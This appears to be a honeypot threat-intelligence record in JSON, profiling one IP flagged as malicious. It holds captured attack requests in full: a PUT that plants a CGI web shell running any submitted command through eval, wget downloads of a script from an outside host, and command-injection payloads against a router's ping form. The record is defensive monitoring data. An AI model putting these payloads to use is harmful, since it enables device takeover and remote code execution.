{"ip":"110.174.195.158","total_events":1719,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 exploit-path hits","confidence":"high","network_type":"nsp","why":["1 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","Under 5 hits, so confidence is medium.","Not in any known-scanner range.","Sent 577,526 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"577,526 bytes sent","bytes_sent":577526,"session_seconds":1,"persistent":false}},"first_seen":"2026-08-20T13:04:48","last_seen":"2026-08-25T13:29:15","events_24h":0,"events_7d":1719,"geo":{"country_code":"AU","country_name":"Australia","region":"Queensland","city":"Brisbane","lat":-27.4644,"lon":153.0531,"asn":7545,"org":"TPG Telecom Limited"},"source_domain":"110-174-195-158.tpgi.com.au","known_scanners":[],"scanner_tag":{"key":"peeringdb:as7545","label":"TPG Telecom","category":"isp","url":"https://www.peeringdb.com/asn/7545"},"cve_matches":[],"malware":[],"top_ports":[{"port":8087,"proto":"tcp","label":"","count":1716},{"port":8081,"proto":"tcp","label":"","count":3}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["pu11nn0400_fdcc3615ee04","po11nr0400_93ceb13f5322","po11nn0400_fdcc3615ee04"]},"fingerprint_peers":{"po11nn0400_fdcc3615ee04":31,"pu11nn0400_fdcc3615ee04":12,"po11nr0400_93ceb13f5322":7},"user_agents":[],"timeline":[{"date":"2026-08-20","count":1716},{"date":"2026-08-25","count":3}],"recent_events":[{"timestamp":"2026-08-25T13:29:15","port":8081,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"60\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8081\",\"referer\":\"http://<HONEYPOT>:8081/\"}","body":"pingAddr=127.0.0.1%3Bsh+1.sh%3B&pingN=1&pingSz=64&pingType=1","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/goform/formPing","summary":"","payload_hex":"504f5354202f676f666f726d2f666f726d50696e6720485454502f312e310d0a486f73743a20<HONEYPOT>3a383038310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a526566657265723a20687474703a2f2f<HONEYPOT>3a383038312f0d0a436f6e74656e742d4c656e6774683a2036300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a70696e67416464723d3132372e302e302e3125334273682b312e73682533422670696e674e3d312670696e67537a3d36342670696e67547970653d31","method":"POST","user_agent":"","ja3":"","session":"78200fbe-d2eb-44f9-a35a-8718ee6f29c9","seq":3,"duration_ms":1198,"bytes_in":850,"bytes_out":240},{"timestamp":"2026-08-25T13:29:14","port":8081,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"67\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8081\",\"referer\":\"http://<HONEYPOT>:8081/\"}","body":"pingAddr=127.0.0.1%3Bchmod+777+1.sh%3B&pingN=1&pingSz=64&pingType=1","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/goform/formPing","summary":"","payload_hex":"504f5354202f676f666f726d2f666f726d50696e6720485454502f312e310d0a486f73743a20<HONEYPOT>3a383038310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a526566657265723a20687474703a2f2f<HONEYPOT>3a383038312f0d0a436f6e74656e742d4c656e6774683a2036370d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a70696e67416464723d3132372e302e302e3125334263686d6f642b3737372b312e73682533422670696e674e3d312670696e67537a3d36342670696e67547970653d31","method":"POST","user_agent":"","ja3":"","session":"78200fbe-d2eb-44f9-a35a-8718ee6f29c9","seq":2,"duration_ms":824,"bytes_in":605,"bytes_out":160},{"timestamp":"2026-08-25T13:29:14","port":8081,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"167\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8081\",\"referer\":\"http://<HONEYPOT>:8081/\"}","body":"pingAddr=127.0.0.1%3Bcd+/tmp%3Bwget+-q+-O+1.sh+http://198.144.179.82:80/1.sh%7C%7Cbusybox+wget+-q+-O+1.sh+http://198.144.179.82:80/1.sh%3B&pingN=1&pingSz=64&pingType=1","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/goform/formPing","summary":"","payload_hex":"504f5354202f676f666f726d2f666f726d50696e6720485454502f312e310d0a486f73743a20<HONEYPOT>3a383038310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a526566657265723a20687474703a2f2f<HONEYPOT>3a383038312f0d0a436f6e74656e742d4c656e6774683a203136370d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a70696e67416464723d3132372e302e302e3125334263642b2f746d70253342776765742b2d712b2d4f2b312e73682b687474703a2f2f3139382e3134342e3137392e38323a38302f312e736825374325374362757379626f782b776765742b2d712b2d4f2b312e73682b687474703a2f2f3139382e3134342e3137392e38323a38302f312e73682533422670696e674e3d312670696e67537a3d36342670696e67547970653d31","method":"POST","user_agent":"","ja3":"","session":"78200fbe-d2eb-44f9-a35a-8718ee6f29c9","seq":1,"duration_ms":100,"bytes_in":353,"bytes_out":80},{"timestamp":"2026-08-20T20:27:24","port":8087,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8087\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038370d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"b3a6cd6a-15e6-4264-ace1-2363c909c9e3","seq":2,"duration_ms":844,"bytes_in":455,"bytes_out":160},{"timestamp":"2026-08-20T20:27:23","port":8087,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"92\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8087\"}","body":"#!/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\nread -r D\nCMD=${D#*CMD=}\neval \"$CMD\" 2>&1\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"505554202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038370d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2039320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a23212f62696e2f73680a6563686f2022436f6e74656e742d747970653a20746578742f706c61696e220a6563686f2022220a72656164202d7220440a434d443d247b44232a434d443d7d0a6576616c202224434d442220323e26310a","method":"PUT","user_agent":"","ja3":"","session":"b3a6cd6a-15e6-4264-ace1-2363c909c9e3","seq":1,"duration_ms":100,"bytes_in":216,"bytes_out":80},{"timestamp":"2026-08-20T20:26:53","port":8087,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8087\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038370d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"fa6b8866-0a53-4ac1-aeba-b467156eb4c8","seq":2,"duration_ms":481,"bytes_in":455,"bytes_out":160},{"timestamp":"2026-08-20T20:26:52","port":8087,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"92\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8087\"}","body":"#!/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\nread -r D\nCMD=${D#*CMD=}\neval \"$CMD\" 2>&1\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"505554202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038370d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2039320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a23212f62696e2f73680a6563686f2022436f6e74656e742d747970653a20746578742f706c61696e220a6563686f2022220a72656164202d7220440a434d443d247b44232a434d443d7d0a6576616c202224434d442220323e26310a","method":"PUT","user_agent":"","ja3":"","session":"fa6b8866-0a53-4ac1-aeba-b467156eb4c8","seq":1,"duration_ms":100,"bytes_in":216,"bytes_out":80},{"timestamp":"2026-08-20T20:26:21","port":8087,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8087\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038370d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"8b96176c-e248-4d21-809a-f0b2181e5649","seq":2,"duration_ms":772,"bytes_in":455,"bytes_out":160},{"timestamp":"2026-08-20T20:26:20","port":8087,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"92\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8087\"}","body":"#!/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\nread -r D\nCMD=${D#*CMD=}\neval \"$CMD\" 2>&1\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"505554202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038370d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2039320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a23212f62696e2f73680a6563686f2022436f6e74656e742d747970653a20746578742f706c61696e220a6563686f2022220a72656164202d7220440a434d443d247b44232a434d443d7d0a6576616c202224434d442220323e26310a","method":"PUT","user_agent":"","ja3":"","session":"8b96176c-e248-4d21-809a-f0b2181e5649","seq":1,"duration_ms":100,"bytes_in":216,"bytes_out":80},{"timestamp":"2026-08-20T20:25:50","port":8087,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"109\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:8087\"}","body":"CMD=cd /tmp;wget -q -O 1.sh http://198.144.179.82:80/1.sh||busybox wget -q -O 1.sh http://198.144.179.82:80/1.sh;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/bip.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f6269702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038370d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a434d443d6364202f746d703b77676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73687c7c62757379626f782077676574202d71202d4f20312e736820687474703a2f2f3139382e3134342e3137392e38323a38302f312e73683b","method":"POST","user_agent":"","ja3":"","session":"590fccb5-4aab-4ea8-92d1-c3e5d449cbf2","seq":2,"duration_ms":480,"bytes_in":455,"bytes_out":160}],"http_methods":[{"method":"POST","count":861},{"method":"PUT","count":858}],"distinct_ports_total":2,"top_paths":[{"path":"/cgi-bin/bip.cgi","count":1716,"ports":1},{"path":"/goform/formPing","count":3,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Connection","Content-Length","Content-Type","Host","Referer"],"representative":[{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"60","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"<HONEYPOT>:8081","notable":false},{"name":"Referer","value":"http://<HONEYPOT>:8081/","notable":true}],"distinct_sets":2,"events_with_headers":10},"tags":[],"data_as_of":"2026-08-27T11:00:26.590328+00:00"}